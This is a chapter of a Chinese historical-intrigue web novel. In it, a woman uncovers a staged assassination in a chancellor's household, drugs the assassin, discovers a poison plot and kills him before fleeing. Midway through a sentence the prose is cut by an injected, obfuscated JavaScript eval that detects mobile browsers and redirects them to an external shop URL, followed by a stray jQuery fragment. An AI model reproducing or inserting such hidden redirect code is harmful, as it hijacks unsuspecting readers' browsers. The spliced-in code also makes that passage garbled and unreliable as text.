陆惟安没贸然进去,她把院门推了个缝,缩在门楣下的阴影里,小心地往里张望。
院子里黑着灯,静悄悄的,陆惟安环顾一圈,一个人影都没看到。
按说闻钧还在养伤,应该就在自己院里,可现在夜色已深,他住处非但没有落锁,连院门都是虚掩的,门里门外连一个守卫都有!
这到底是怎么回事?
后脖颈汗毛奓起来,陆惟安吞了口口水,曾经看过的史书典籍在脑海中此起彼伏,迅速串联出一个阴谋的形状。
以闻府守卫之森严,外人很难伸进手来,但自古至今,天家兄弟阋墙之事不知凡几,闻钺如今的地位与帝王无异,闻钧作为闻钺长子,本是最名正言顺的继承人,如今他一朝受罚,又疑似被闻钺厌弃,如果有谁觊觎他的位置,会不会趁机勾结他身边亲信,要取他性命?
闻钺可不只有一个孩子!
紧张之下,舌根压裂了蜡丸,她尝到了苦味。
闻钧现在昏迷不醒,真遇上刺杀肯定无力反抗,他是救了她命的恩人,眼下有性命之危,她若置之不理,还算是个人吗?
这事得管。
几乎没有犹豫,她侧身闪进院中,反手关上门,捞起碍事的裙角扎在腰上,放轻脚步快速穿过中庭。
周围很黑,只有远处浮着零星灯影,还没有隔壁院里漫过来的灯光亮。
进来前,陆惟安也怀疑过是不是闻钺要杀亲子,毕竟帝王家不光兄弟阋墙寻常,父子相残也不稀罕,但冷静下来细细一想,她还是觉得不可能。
倒不是她对闻钺此人的品行心肠又什么信心,但这位闻丞相在朝中都能一手遮天,要杀自己的儿子,需要这么偷偷摸摸吗?
不会是他。
既然不是闻钺要杀亲子,这些人敢动手,说明此时此地没有闻钺的“眼睛”。
这样一来,只要她不被当场逮住杀了,那就不会有事。
袖子里的迷药壮了她的胆气,陆惟安把自己藏进墙根的阴影里,猫着腰,避免身影打到窗上——闻钧院里的窗子是羊角的,打磨得极薄,有人经过一眼就能看到。
此地布局不像北院那么“出格”,是个规整的二进四合院。陆惟安对这种格局熟得很,闭着眼睛都能画出图来,遂轻车熟路,直奔后院主屋。
刚穿过半个前院,身后突然传来细微的动静,陆惟安当机立断跳出回廊,往廊外树丛里一钻,才刚趴好,就见一个黑影从大门的方向走来,步履轻盈异常,行进间几乎悄无声息。
陆惟安心里一突。
她从小志在学医,习武能躲懒就躲懒,但因着母亲教导,身手虽不出众,眼力却是有的。直觉此人像是个练家子,她把呼吸压得又轻又缓,眼不错珠地盯紧了他。
很快到了岔口上,黑影停下来,左右看了看。
顺着他转头的方向,陆惟安看向一间屋子,屋里亮着,透过羊角窗能看到烧着火的灶台,旁边站了个人,应是小厮,正拿着个蒲扇一下一下地扇着。
此处应该是闻钧院里的小厨房,这时辰,里面的人莫非是在给闻钧熬药?
黑影的目标显然也是这里,确定好方向,他毫不犹豫地直奔小厨房。
这番左右看的动作刚好验证了陆惟安关于“此人不是闻钧手下”的猜测,她提着一口气,耐心地等着黑影转过岔口,推门。
“吱呀——”门响了,黑影跨进屋中,陆惟安踩着响声翻出树丛,疾步快走。
被火光点亮的窗子像一幅裱好的画,框住了无名人不得自主的一生。隔着窗,陆惟安看到屋里的人转身迎上黑影,却在下一刻被一记手刀劈在脖子上,吭都没吭一声就软倒了下去。
她瞳孔陡缩。
黑影显然也不想惊动别人,单手拎住倒下的小厮,他往灶膛边的柴堆走。
知道真动起手来自己一定打不过,陆惟安当机立断,抬脚进屋。
“怎么还没好?大公子都催两回了!”
之前她把动静藏得太好,这冷不丁地冒出来,还一副半点不虚的口吻,把黑影吓了一跳。手里的人还没藏好,他来不及反应,已经本能地转过身来。
陆惟安一个箭步冲上去,猛地扬手——
提前搓开了口的油纸包被迅速抖开,迷药糊了黑影一脸。进来时陆惟安已经吞下了解药,蜡衣没顾上吐,涩味充斥口腔,她盯着黑影,心里默数:
一、二、三——倒!
数到第三下,黑影晃了晃,一头栽下去。陆惟安双臂张开一手捞住一个,差点被压得一屁股坐到地上。咬着牙蹲下让黑影顺着胳膊滚到地上,她先去看那个生死不明的小厮。
搭上腕脉,她心一沉。
没气了。
那小厮是个少年,看长相应该也就十三四岁,脸上的惊恐盖不住稚气,双眼没来得及合,突出的眼球里胀着血丝,死不瞑目地看着她。
对上这双眼睛,陆惟安手一颤,忍住想别开脸的冲动,她伸手去探少年颈间。
喉骨粉碎。
好狠辣的手段。
那黑影也是一副小厮打扮,看起来是打算来偷梁换柱的。把死去的小厮安置在一旁,陆惟安先抽了捆柴的麻绳把黑影囫囵绑好,然后快速将他身上能藏东西的地方摸了一遍,从胸口摸出一个手指长的瓷瓶。
这是……要下药?
倒了一小撮药粉在手心,她没敢凑近直接闻,隔着三寸来远用手扇着风嗅了嗅。
延胡索、麝香……还有生的马钱子——这是要命的毒药!
马钱子能治跌打外伤,有疗伤止痛的作用,但却不可轻易入口,生食更是剧毒。闻钧刚受了军棍,院子里有阵痛活血的药不稀奇,背后下手的人把生马钱子混在里面,若是毒死了闻钧,只要没留下证据,大可推说是药物炮制不当,又因手下服侍的人办事不力,被闻钧误食,就能把人摘干净。
陆惟安暗暗抽了口气。
怪不得她一路走来连个人影都没见着,估计都是被暗中调开了——在闻钺眼皮子底下调走下人守卫,又勾结上闻钧的亲信,这位闻二公子恐怕是打定主意要在今夜弄死闻钧了。
也是,只要能一击功成,哪怕让闻钺抓住了证据,事后清算起来,就剩下这么一个能做继承人的孩子,他还能杀了不成?
够狠,也够干脆的。
闻府做主的终究还是闻钺,如果闻钦这些动作都能瞒过闻钺的耳目,他哪还需要这么偷偷摸摸对长兄动手,完全可以连闻钧带闻钺直接把这父子俩一锅烩了,自己来当这个丞相。
易地而处,陆惟安觉得倘若自己是那位闻二公子,一定不会只准备了下毒这一种手段,一击不成,下一次动手只会更加凶险。
她得尽快找到闻钧。
急归急,陆惟安却也没乱方寸,关上门,她四下一看,快步往灶台走。
除了迷药,她还带了毒药,药粉用起来多有不便,对方屏息的情况下一时也难起效。摘下灶台上悬着的剔骨刀,她取了个瓷碗,用灶台旁缸里的清水化开毒粉往刀上抹。
剧毒覆上刀身,水干了,落成刀刃上一层幽幽的蓝光。揣好剔骨刀,陆惟安刚要转身,脚步忽然一顿。
看炉打扇的人死了,这一会儿功夫,火已经把药汤烧得滚开,盖子和药釜碰触细碎的声响,水汽“呜呜”地往外冒,她抽了抽鼻子——
这个味道……
闻出汤药的味道似乎有异,陆惟安揭开盖子,用汤匙舀出药渣仔细端详
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200080|147791||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
片刻后,她眉头一皱。
这药分明不是给重伤之人用的。
药釜里一样给昏迷之人吊命的药材都没有,尽是些活血化瘀、益气补血的,连药性烈些的都挑不出两样,那位等着用药的“伤患”别说没有重伤昏迷,恐怕正安安稳稳地躲在幕后看好戏呢!
懿都里是个人都听说过,闻钺长子十三从军十五挂帅,两年时间扫平西南边乱,文韬武略不输其父。就算传言多有夸张之处,实打实的战功总不是假的,这位闻大公子不是吃干饭的,哪怕身边真有“贰臣”,也不至于短短三日就让人把自己的院子穿成了个筛子吧?
除非他是故意的。
他分明没有重伤,只要露面,谣言立刻不攻自破,他却任由消息在府里传播,他想干什么?
这一点线索刹那间串上了先前种种微妙的不合情理,那些被她忽略的细节重新浮出水面,陆惟安又惊又怒,气不打一处来。
是了,之前她就觉得古怪——内院里的消息肯定是放给人听的,但若闻钦是想借此争取什么人的支持,也应该是私下里去找对方,闹得尽人皆知,他不怕闻钺提前猜到他的动作,阻止他对闻钧下手?
往外放消息的另有其人。
想明白其中关窍,陆惟安的脸色彻底冷了下来。
这是一出“请君入瓮”。
亏她还担心闻钧会不会出事,感情全是自作多情。
这么个心机深沉、草菅人命之徒,能出什么事!
手中刀在火焰燃烧的噼剥声里泛着寒光,无辜枉死的小厮还没闭眼,陆惟安牙咬得咯吱作响,一把攥紧刀柄,快步走向昏迷的刺客。
除了此人,没有第二个人知道她今夜来过这里,必须得杀了这刺客,才能保证万无一失。
一步、两步——她停了。
不能用这把刀,刀上有毒。
照这位闻大公子的德性,救她还不知道抱着什么目的。这种人利字当先,不损及自身的时候怎么都好,但现在他已经受了闻钺惩处,再闹出事来自己都未必能落着好,就更别说保她了,没把她扔出去当替罪羊都算不错了。
不能留下她来过这里的证据。
璧月那两句话激起的揣测还哽在喉头,怀疑止不住地往上涌,杀意刺得陆惟安心口生疼,她深吸了两口气,硬逼着自己松开紧攥的五指,换了一把刀。
一刀割开刺客的脖颈,她闪身避开飞溅的鲜血。
剧痛把刺客从昏迷中拖了出来,他大睁着眼睛,嘴里发出嗬嗬的气音——陆惟安那一刀割断了他的咽喉,他出不了声了。
生命的最后一刻,他似乎还没明白自己怎么就死了,难以置信地盯着面前的人。那人只有一个背影,蹲在炉灶边,小小的,随手就能捏死的样子。
就是她……杀了他吗?
濒死之人涣散的目光像落在身上的灰,没给陆惟安带来一点影响,她拿着剔骨刀凑近炉火,仔仔细细地烧尽了刀身上的毒。
此地随时会有人来,她没有时间耽搁,处理干净刀,她把碗里的残毒也泼进灶膛里。轻微的焦糊味里,火焰暗了一瞬,光影刹那明灭,陆惟安闭上眼,吐出一口气。
不论是闻钧有什么目的,救命的恩情她是领的,但她自己尚且进退维谷,若是攸关生死也就罢了,既然不是,那就恕她没余力再淌这位闻大公子的浑水了。
将瓷碗和剔骨刀一起扔进灶膛里,她不再往二门里走,薅起炉灰在脸上抹了两把盖住五官,扭头奔进了夜色。
在她身后,一个影子从房顶翻下来,悄然落在地上。
沾着血的刀被留在小厮手边,影子的主人没有看,熄了灶膛里的火,他弯下腰,捡起了炉灰里的剔骨刀。